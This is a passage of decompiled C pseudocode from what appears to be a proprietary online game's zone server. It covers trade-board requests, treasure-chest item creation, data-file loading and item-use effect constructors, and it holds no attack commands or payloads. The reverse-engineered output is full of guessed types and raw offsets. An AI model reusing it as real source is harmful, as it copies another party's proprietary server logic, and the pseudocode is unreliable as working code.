"TradeBoard::tb_OnBoard"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; while ( *((_BYTE *)v2 + v3 + 6) != -1 ) { if ( *((_BYTE *)v2 + v3 + 7) == -1 ) { ++v3; break; } if ( *((_BYTE *)v2 + v3 + 8) == -1 ) { v3 += 2; break; } if ( *((_BYTE *)v2 + v3 + 9) == -1 ) { v3 += 3; break; } if ( *((_BYTE *)v2 + v3 + 10) == -1 ) { v3 += 4; break; } if ( *((_BYTE *)v2 + v3 + 11) == -1 ) { v3 += 5; break; } v3 += 6; if ( v3 >= 12 ) break; } if ( v3 == 12 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); result = -1; } else { *((_BYTE *)v2 + v3 + 6) = invenslot; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_OnBoard"); result = v3; } return result; } //----- (00528EF0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ(int a1, int a2, int netcmd, int slot, __int16 handle) { int v5; // esi@1 int v6; // edi@5 int v7; // eax@13 int v8; // ST18_4@15 signed int v9; // eax@15 int v10; // ebx@16 int v11; // eax@23 char *v12; // edi@23 char v13; // al@23 char v14; // al@23 int v15; // eax@24 char *v16; // eax@25 int v17; // ST14_4@25 char v18; // al@25 int v19; // eax@26 signed int v20; // [sp+14h] [bp-28h]@6 int v21; // [sp+18h] [bp-24h]@5 FunctionEntarance _; // [sp+28h] [bp-14h]@1 int v23; // [sp+2Ch] [bp-10h]@5 void *v24; // [sp+30h] [bp-Ch]@21 int v25; // [sp+38h] [bp-4h]@1 v5 = a1; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v25 = 0; if ( !(_S3_47 & 1) ) { _S3_47 |= 1u; stru_124F2FF8.cmc_AllowMode = 126; atexit(_E4_86); } if ( !((1 << **(_BYTE **)(v5 + 3716)) & stru_124F2FF8.cmc_AllowMode) ) { --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"); return; } v21 = a2; v6 = *(_DWORD *)(v5 + 68275); v23 = v5 + 68275; if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Not activ", 0); v20 = 2114; LABEL_7: (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14, v20); LABEL_8: --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ"); return; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v5, v6) > 0xF4240 ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v5); goto LABEL_8; } if ( *(_BYTE *)(v5 + 68279) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Locked", *(_BYTE *)(v5 + 68279) == 0); v20 = 2115; goto LABEL_7; } v7 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1916))(v5, v21); if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v7 + 12))( v7, 9, *(_BYTE *)(netcmd + 2)) ) { v8 = *(_BYTE *)(netcmd + 2); v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)(v5 + 35536) + 4))(v5 + 35536, v5 + 91696); if ( !AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 2) < v9, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Too large slot", v8) ) { v10 = (**(int (__thiscall ***)(_DWORD, _DWORD))(v5 + 35536))(v5 + 35536, *(_BYTE *)(netcmd + 2)); if ( AssertClass::operator__( &shineassert, *(_WORD *)(v10 + 8) != -1, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Upboard empty cell", 0) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14); LABEL_28: v25 = -1; goto LABEL_29; } if ( !ItemDataBox::idb_BelongedItem(&itemdatabox, *(_WORD *)(v10 + 8)) && !ItemDataBox::idb_NoTrade(&itemdatabox, *(_WORD *)(v10 + 8)) && !ItemGroupClassifier::igc_ChargedDuringUse( &itemgroupclassifier, *(ItemAttributeClass **)(v10 + 112), (ItemTotalInformation *)v10) ) { if ( TradeBoard::tb_OnBoard(v24, *(_BYTE *)(netcmd + 2)) == -1 ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 19, 14); } else { v11 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v11 + 36))(v11); (*(void (__thiscall **)(int, int))(*(_DWORD *)v6 + 1912))(v6, v5); v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 19471; v13 = *(_BYTE *)(netcmd + 2); v12[3] = netcmd; v12[2] = v13; v14 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v14, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Packet Too Long", 4) ) { v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v5, &gpp); } *(_WORD *)v12 = 19472; v12[2] = netcmd; v16 = ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v10, *(ItemAttributeClass **)(v10 + 112), *(_WORD *)(v10 + 8), v12 + 3); v17 = v16 - v12; v18 = ProtocolPacket::pp_SetPacketLen(&gpp, v16 - v12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v18, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ : Packet Too Long", v17) ) { v19 = (*(int (**)(void))(**(_DWORD **)v23 + 764))(); (*(void (__thiscall **)(int, _DWORD, ProtocolPacket *))(*(_DWORD *)v19 + 12))(v19, *(_DWORD *)v23, &gpp); } } goto LABEL_28; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); goto LABEL_28; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 19, 14); v25 = -1; LABEL_29: FunctionEntarance::_FunctionEntarance(&_); } // 528EF0: could not find valid save-restore pair for edi //----- (005292D0) -------------------------------------------------------- int __thiscall TreasureChestMaker::tcm_GetItemNum(TreasureChestMaker *this) { return this->tcm_ItemNum; } //----- (005292E0) -------------------------------------------------------- void __thiscall TreasureChestMaker::TreasureChestMaker(TreasureChestMaker *this, unsigned __int16 chest, int makeflag, int chestflag) { TreasureChestMaker *v4; // esi@1 int v5; // ST08_4@3 CServerInfo::MY_SERVER *v6; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::TreasureChestMaker"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::TreasureChestMaker"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4->tcm_ItemNum = 0; if ( ItemDataBox::operator__(&itemdatabox, chest)->data->Class == 15 ) { v5 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v6 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(v4->tcm_rewarditem, makeflag, v6->nZoneNo, v5); v4->tcm_rewarditem[0].iti_itemstruct.itemid = chest; v4->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot = 16 * chestflag; v4->tcm_ItemNum = 1; } else { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::TreasureChestMaker : Not ItemChest", chest); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::TreasureChestMaker"); } //----- (005293F0) -------------------------------------------------------- void __thiscall TreasureChestMaker::_TreasureChestMaker(TreasureChestMaker *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::~TreasureChestMaker"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::~TreasureChestMaker"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::~TreasureChestMaker"); } //----- (00529430) -------------------------------------------------------- unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, ItemTotalInformation *iti) { TreasureChestMaker *v2; // ebx@1 int v3; // edx@1 unsigned __int16 result; // ax@2 signed int v5; // edi@3 int v6; // edi@5 unsigned __int16 v7; // si@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( iti ) { v5 = v2->tcm_ItemNum; if ( v5 <= 8 ) { v6 = (int)((char *)v2 + 111 * v5); memcpy((void *)v6, iti, 0x6Cu); v6 += 108; *(_WORD *)v6 = *(_WORD *)((char *)&iti->iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v6 + 2) = BYTE3(iti->iti_itemstruct.itemattr.binditem.portal[9].y); *(_QWORD *)&v2->tcm_rewarditem[0].iti_registnum.binary.gap0[8 * v2->tcm_ItemNum++ + 3] = *(_QWORD *)&iti->iti_registnum.binary.gap0[0]; v7 = iti->iti_itemstruct.itemid; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = v7; } else { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Too many content", v5 <= 8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = -1; } } else { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ItemTotalInformation *iti)"); result = -1; } return result; } //----- (00529580) -------------------------------------------------------- unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, int makeflag, ShineReward *reward, unsigned int clsmask) { TreasureChestMaker *v4; // esi@1 signed int v5; // edx@1 int v6; // eax@3 int v7; // edi@3 int v9; // ST08_4@9 CServerInfo::MY_SERVER *v10; // eax@9 ItemAttributeClass *v11; // eax@9 ItemDataBox::ItemDataBoxIndex *v12; // eax@9 ItemInfoServer *v13; // eax@10 char *v14; // eax@11 ItemRandomOption::RandomOptionDatum *v15; // ebx@12 ItemAttributeClass *v16; // eax@12 ItemOptionStorage *v17; // eax@12 int v18; // eax@15 int v19; // edx@15 char *v20; // [sp-4h] [bp-24h]@2 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v22; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->tcm_ItemNum; v22 = 0; if ( v5 >= 8 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Too many content", v5 < 8); v22 = -1; v20 = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v20); return -1; } LOWORD(v6) = ItemGroupClassifier::igc_Getitem(&itemgroupclassifier, reward->Argument, clsmask); v7 = v6; if ( (_WORD)v6 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Item not found", reward->Argument); LABEL_5: v22 = -1; v20 = "TreasureChestMaker::tcm_ItemMake(ShineReward *reward, DWRD clsmask)"; goto LABEL_6; } if ( ItemDataBox::operator__(&itemdatabox, v6) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "TreasureChestMaker::tcm_ItemMake : Invalid item", (unsigned __int16)v7); goto LABEL_5; } v9 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v10 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)v4 + v4->tcm_ItemNum, makeflag, v10->nZoneNo, v9); v4->tcm_rewarditem[v4->tcm_ItemNum].iti_itemstruct.itemid = v7; v11 = ItemAttributeClassContainer::operator__(&itmattcontainer, v7); (*(void (__thiscall **)(ItemAttributeClass *, int, ShineReward *, char *))((void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))&v11->vfptr->iac_GetAttrSize + 1))( v11, v7, reward, (char *)v4 + 111 * v4->tcm_ItemNum); v12 = ItemDataBox::operator__(&itemdatabox, v7); if ( !v12 || (v13 = v12->dataserv) == 0 || (v14 = v13->RandomOptionDropGroup) == 0 ) goto LABEL_5; v15 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v14); v16 = ItemAttributeClassContainer::operator__(&itmattcontainer, v7); v17 = v16->vfptr->iac_GetItemOptionStruct(v16, &v4->tcm_rewarditem[v4->tcm_ItemNum].iti_itemstruct); if ( v15 ) { if ( v17 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v17, v15); } v18 = v4->tcm_ItemNum; v19 = v4->tcm_ItemNum; *(_DWORD *)&v4->tcm_rewarditem[0].iti_registnum.binary.gap0[8 * v18 + 3] = *(_DWORD *)&v4->tcm_rewarditem[v19].iti_registnum.binary.gap0[0]; *(int *)((char *)&v4->tcm_rewarditem[0].iti_registnum.binary._bf4 + 8 * v18 + 3) = v4->tcm_rewarditem[v19].iti_registnum.binary._bf4; ++v4->tcm_ItemNum; v22 = -1; FunctionEntarance::_FunctionEntarance(&_); return v7; } //----- (005297C0) -------------------------------------------------------- int __thiscall TreasureChestMaker::tcm_PutInto(TreasureChestMaker *this, int from, PROTO_ITEM_CMD *itmlst, int emptyslot, TreasureChestLocationManager *tcm, unsigned __int16 nInvenType) { TreasureChestMaker *v6; // edi@1 int v7; // edx@1 int result; // eax@2 PROTO_ITEM_CMD *v9; // eax@3 int v10; // ebp@3 PROTO_ITEM_CMD *v11; // esi@3 int v12; // eax@4 int v13; // edi@4 ItemAttributeClass *v14; // eax@9 char v15; // bl@9 char v16; // bl@11 int v17; // esi@15 TreasureChestMaker *v18; // [sp+0h] [bp-14h]@1 ItemTotalInformation *froma; // [sp+18h] [bp+4h]@4 v6 = this; v18 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TreasureChestMaker::tcm_PutInto"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v7 = funcallanalizer.fca_stackpoint++ + 1; if ( v6->tcm_ItemNum ) { v9 = itmlst; v6->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot ^= (v6->tcm_rewarditem[0].iti_itemstruct.itemattr.blot.lot ^ (LOBYTE(v6->tcm_ItemNum) - 1)) & 0xF; v10 = from; itmlst->numofitem = 0; v11 = itmlst + 1; if ( from < v6->tcm_ItemNum ) { while ( 1 ) { v12 = (int)((char *)v6 + 111 * v10); v13 = *(_WORD *)(v12 + 8); froma = (ItemTotalInformation *)v12; if ( !(ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v12 + 8))->data != 0) ) { AssertClass::ac_AssertFail( &shineassert, "TreasureChestMaker::tcm_PutInto : Invalid ItemID found", (unsigned __int16)v13); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); return 0; } if ( v10 ) { *(_WORD *)&v11[1].numofitem = 10240; if ( tcm->baseclass_0.bs_maxbit ) *tcm->baseclass_0.bs_bitlist |= 1u; } else { *(_WORD *)&v11[1].numofitem = (nInvenType << 10) ^ emptyslot & 0x3FF; } v14 = ItemAttributeClassContainer::operator__(&itmattcontainer, v13); v15 = (char)&ItemTotalInformation::iti_fill2buffer_whole(froma, v14, v13, &v11[3].numofitem)[-(_BYTE)v11 - 3]; if ( v10 ) ItemsInChest::iic_StoreItem(&itemsinchest, froma); v16 = v15 + 2; v11->numofitem = v16; ++itmlst->numofitem; ++v10; v11 += (unsigned __int8)v16 + 1; if ( v10 >= v18->tcm_ItemNum ) break; v6 = v18; } v9 = itmlst; } v17 = v11 - v9; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); result = v17; } else { funcallanalizer.fca_stackpoint = v7 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TreasureChestMaker::tcm_PutInto"); result = 0; } return result; } //----- (005299E0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xA2Bu, 0x3Eu) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00529A90) -------------------------------------------------------- void __thiscall UpgradeDataBox::UpgradeDataBox(UpgradeDataBox *this) { char *v1; // edi@1 v1 = (char *)&this->udb_BinData; CCharacterTitleData::CCharacterTitleData(&this->udb_BinData.baseclass_0); v1 += 60; memset(v1, 0, 0x3Cu); *((_WORD *)v1 + 30) = 0; } //----- (00529AC0) -------------------------------------------------------- void __thiscall UpgradeDataBox::udb_Load(UpgradeDataBox *this, Name4 *world) { UpgradeDataBox *v2; // esi@1 UpGradeInfo *v3; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "UpgradeDataBox::udb_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "UpgradeDataBox::udb_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->udb_default = &v2->udb_BinData.bdb_defaultblock; BinaryDataBox::bdb_ReadData(&v2->udb_BinData, "../9Data/Shine/UpGradeInfo.shn"); v3 = v2->udb_default; v2->udb_Number = v2->udb_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; memset(v3, 0, 0x3Cu); v3->Updata[11] = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "UpgradeDataBox::udb_Load"); } //----- (00529B80) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall UseEffect::UsedItemEffect::uie_UseSkillID(UseEffect::UsedItemEffect *this, char *skillname) { unsigned int v2; // eax@1 SkillDataBox::SkillDataIndex *result; // eax@2 v2 = BTree::operator__(&skillnametree, skillname); *(_DWORD *)&skillbtreeunion = v2; if ( v2 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Not found", skillname); result = 0; } else { if ( *((_BYTE *)&skillbtreeunion + 2) ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Passive", skillname); result = 0; } else { result = SkillDataBox::operator__(&skilldatabox, v2); if ( !result ) { AssertClass::ac_AssertFail(&shineassert, "UseEffect::UsedItemEffect::uie_UseSkillID : Skill", skillname); result = 0; } } } return result; } //----- (00529C10) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_BroadCast(UseEffect::UsedItemEffect *this, unsigned __int16 item, char bc) { this->uie_FuncStruct[item].broadcast = bc; } //----- (00529C30) -------------------------------------------------------- void __thiscall UseEffect::UsedItemEffect::uie_SetChargedBuffer(UseEffect::UsedItemEffect *this, unsigned __int16 item, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { int v4; // eax@1 v4 = item; this->uie_FuncStruct[v4].useeffectstruct = &this->uie_DefStruct; this->uie_FuncStruct[v4].useitemclass = uib; this->uie_FuncStruct[v4].useskill = uie; } //----- (00529C70) -------------------------------------------------------- void __thiscall UseEffect::UseItemSilverWing::UseItemSilverWing(UseEffect::UseItemSilverWing *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSilverWing::_vftable_; } // 5DD9D8: using guessed type int (__stdcall *UseEffect__UseItemSilverWing___vftable_)(int, int itm); //----- (00529C80) -------------------------------------------------------- void __thiscall UseEffect::UseItemNormal::UseItemNormal(UseEffect::UseItemNormal *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemNormal::_vftable_; } // 5DD9E8: using guessed type int (__stdcall *UseEffect__UseItemNormal___vftable_)(int, int itm); //----- (00529C90) -------------------------------------------------------- void __thiscall UseEffect::UseItemRecallScroll::UseItemRecallScroll(UseEffect::UseItemRecallScroll *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRecallScroll::_vftable_; } // 5DD9F8: using guessed type int (__stdcall *UseEffect__UseItemRecallScroll___vftable_)(int, int itm); //----- (00529CA0) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillScroll::UseItemSkillScroll(UseEffect::UseItemSkillScroll *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillScroll::_vftable_; } // 5DDA08: using guessed type int (__stdcall *UseEffect__UseItemSkillScroll___vftable_)(#434 *, int itm); //----- (00529CB0) -------------------------------------------------------- void __thiscall UseEffect::UseItemChest::UseItemChest(UseEffect::UseItemChest *this) { this->baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemChest::_vftable_; } // 5DDA18: using guessed type int (__stdcall *UseEffect__UseItemChest___vftable_)(int, int itm); //----- (00529CC0) -------------------------------------------------------- void __thiscall UseEffect::UseItemByTable::UseItemByTable(UseEffect::UseItemByTable *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemByTable::_vftable_; } // 5DDA28: using guessed type int (__stdcall *UseEffect__UseItemByTable___vftable_)(int, int itm); //----- (00529CD0) -------------------------------------------------------- void __thiscall UseEffect::UseItemChargedBuff::UseItemChargedBuff(UseEffect::UseItemChargedBuff *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemChargedBuff::_vftable_; } // 5DDA38: using guessed type int (__stdcall *UseEffect__UseItemChargedBuff___vftable_)(int, int itm); //----- (00529CE0) -------------------------------------------------------- void __thiscall UseEffect::UseItemMiniHouse::UseItemMiniHouse(UseEffect::UseItemMiniHouse *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMiniHouse::_vftable_; } // 5DDA48: using guessed type int (__stdcall *UseEffect__UseItemMiniHouse___vftable_)(int, int itm); //----- (00529CF0) -------------------------------------------------------- void __thiscall UseEffect::UseItemActionItem::UseItemActionItem(UseEffect::UseItemActionItem *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemActionItem::_vftable_; } // 5DDA58: using guessed type int (__stdcall *UseEffect__UseItemActionItem___vftable_)(int, int itm); //----- (00529D00) -------------------------------------------------------- void __thiscall UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture(UseEffect::UseItemMiniHouseFurniture *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMiniHouseFurniture::_vftable_; } // 5DDA68: using guessed type int (__stdcall *UseEffect__UseItemMiniHouseFurniture___vftable_)(int, int itm); //----- (00529D10) -------------------------------------------------------- void __thiscall UseEffect::UseItemRide::UseItemRide(UseEffect::UseItemRide *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRide::_vftable_; } // 5DDA78: using guessed type int (__stdcall *UseEffect__UseItemRide___vftable_)(#325 *, int itm); //----- (00529D20) -------------------------------------------------------- void __thiscall UseEffect::UseItemHorseFood::UseItemHorseFood(UseEffect::UseItemHorseFood *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemHorseFood::_vftable_; } // 5DDA88: using guessed type int (__stdcall *UseEffect__UseItemHorseFood___vftable_)(int, int itm); //----- (00529D30) -------------------------------------------------------- void __thiscall UseEffect::UseItemItemPackage::UseItemItemPackage(UseEffect::UseItemItemPackage *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemItemPackage::_vftable_; } // 5DDA98: using guessed type int (__stdcall *UseEffect__UseItemItemPackage___vftable_)(int, int itm); //----- (00529D40) -------------------------------------------------------- void __thiscall UseEffect::UseItemLicenseClear::UseItemLicenseClear(UseEffect::UseItemLicenseClear *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemLicenseClear::_vftable_; } // 5DDAA8: using guessed type int (__stdcall *UseEffect__UseItemLicenseClear___vftable_)(int, int itm); //----- (00529D50) -------------------------------------------------------- void __thiscall UseEffect::UseItemStatClear::UseItemStatClear(UseEffect::UseItemStatClear *this, int dbreq, int err) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemStatClear::_vftable_; this->uisc_DBReqCommand = dbreq; this->uisc_ErrCommand = err; } // 5DDAB8: using guessed type int (__stdcall *UseEffect__UseItemStatClear___vftable_)(int, int itm); //----- (00529D70) -------------------------------------------------------- void __thiscall UseEffect::UseItemAmountHP::UseItemAmountHP(UseEffect::UseItemAmountHP *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemAmountHP::_vftable_; } // 5DDAC8: using guessed type int (__stdcall *UseEffect__UseItemAmountHP___vftable_)(int, int itm); //----- (00529D80) -------------------------------------------------------- void __thiscall UseEffect::UseItemAmountSP::UseItemAmountSP(UseEffect::UseItemAmountSP *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemAmountSP::_vftable_; } // 5DDAD8: using guessed type int (__stdcall *UseEffect__UseItemAmountSP___vftable_)(int, int itm); //----- (00529D90) -------------------------------------------------------- void __thiscall UseEffect::UseItemRoar::UseItemRoar(UseEffect::UseItemRoar *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemRoar::_vftable_; } // 5DDAE8: using guessed type int (__stdcall *UseEffect__UseItemRoar___vftable_)(int, int itm); //----- (00529DA0) -------------------------------------------------------- void __thiscall UseEffect::UseItemSkillErase::UseItemSkillErase(UseEffect::UseItemSkillErase *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemSkillErase::_vftable_; } // 5DDAF8: using guessed type int (__stdcall *UseEffect__UseItemSkillErase___vftable_)(int, int itm); //----- (00529DB0) -------------------------------------------------------- void __thiscall UseEffect::UseItemWingStone::UseItemWingStone(UseEffect::UseItemWingStone *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemWingStone::_vftable_; } // 5DDB08: using guessed type int (__stdcall *UseEffect__UseItemWingStone___vftable_)(int, int itm); //----- (00529DC0) -------------------------------------------------------- void __thiscall UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(UseEffect::UseItemMemoryFeather *this) { this->baseclass_0.baseclass_0.vfptr = (UseEffect::UseItemBaseVtbl *)&UseEffect::UseItemMemoryFeather::_vftable_; } // 5DDB18: using guessed type int (__stdcall 